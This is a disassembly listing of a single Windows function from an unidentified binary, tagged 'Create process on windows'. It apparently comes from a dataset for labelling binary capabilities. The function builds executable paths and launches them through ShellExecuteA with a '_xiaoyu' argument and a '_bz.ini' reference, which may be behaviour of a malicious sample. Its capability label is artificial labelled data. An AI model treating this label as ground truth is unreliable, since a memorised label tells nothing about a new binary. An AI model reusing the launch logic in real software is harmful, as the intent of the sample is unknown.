Function at 0x404583
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
inc dword [0x41773c]
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x40a4e0
call fcn.00405a60
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41773c]
push 1
mov ebx, 0x168
call fcn.004068e0
add esp, 0x10
mov dword [ebp - 8], eax
push str..exe
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 3
call fcn.00401149
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404605
push ebx
call fcn.00405744
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404615
push ebx
call fcn.00405744
add esp, 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.004049a2
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404631
push ebx
call fcn.00405744
add esp, 4
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x40a4e0
call fcn.00405a60
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41773c]
push 1
mov ebx, 0x168
call fcn.004068e0
add esp, 0x10
mov dword [ebp - 8], eax
push str..exe
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 3
call fcn.00401149
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4046a4
push ebx
call fcn.00405744
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4046b4
push ebx
call fcn.00405744
add esp, 4
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4046df
mov eax, 0x417240
push eax
push 3
mov ebx, 0x270
call fcn.00406e90
add esp, 0x28
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404705
push ebx
call fcn.00405744
add esp, 4
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x10]
push 2
mov ebx, 0x294
call fcn.00406f70
add esp, 0x1c
mov dword [ebp - 0x14], eax
push htons
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x404743
mov eax, 0x41733d
push eax
push 1
mov ebx, 0x168
call fcn.004068e0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x404769
push ebx
call fcn.00405744
add esp, 4
push 0x417446
push dword [ebp - 0x18]
call fcn.00401041
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x404797
push ebx
call fcn.00405744
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x40499c
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x40a4e0
call fcn.00405a60
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41773c]
push 1
mov ebx, 0x168
call fcn.004068e0
add esp, 0x10
mov dword [ebp - 8], eax
push str..exe
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 3
call fcn.00401149
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404814
push ebx
call fcn.00405744
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404824
push ebx
call fcn.00405744
add esp, 4
mov dword [ebp - 0x10], esp
push 0
push 0x417240
push str._xiaoyu
push dword [ebp - 0xc]
push str.Open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40485f
push 6
call fcn.00405738
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40486f
push ebx
call fcn.00405744
add esp, 4
cmp dword [ebp + 0xc], 0
je 0x40499c
push 0
mov ebx, 0x104
call fcn.004062b0
add esp, 4
mov dword [ebp - 4], eax
push str._bz.ini
push dword [ebp - 4]
mov ecx, 2
call fcn.00401149
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4048b6
push ebx
call fcn.00405744
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4048c9
mov eax, 0x417240
push eax
push 1
mov ebx, 0x244
call fcn.00406e70
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4048ec
push ebx
call fcn.00405744
add esp, 4
push 0
mov ebx, 0x104
call fcn.004062b0
add esp, 4
mov dword [ebp - 4], eax
push 0
mov ebx, 0x108
call fcn.00406110
add esp, 4
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x41729a
push dword [ebp - 4]
mov ecx, 3
call fcn.00401149
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404941
push ebx
call fcn.00405744
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404951
push ebx
call fcn.00405744
add esp, 4
mov dword [ebp - 0x10], esp
push 0
push 0x417240
push 0x4172b1
push dword [ebp - 0xc]
push str.Open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40498c
push 6
call fcn.00405738
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40499c
push ebx
call fcn.00405744
add esp, 4
mov esp, ebp
pop ebp
ret 8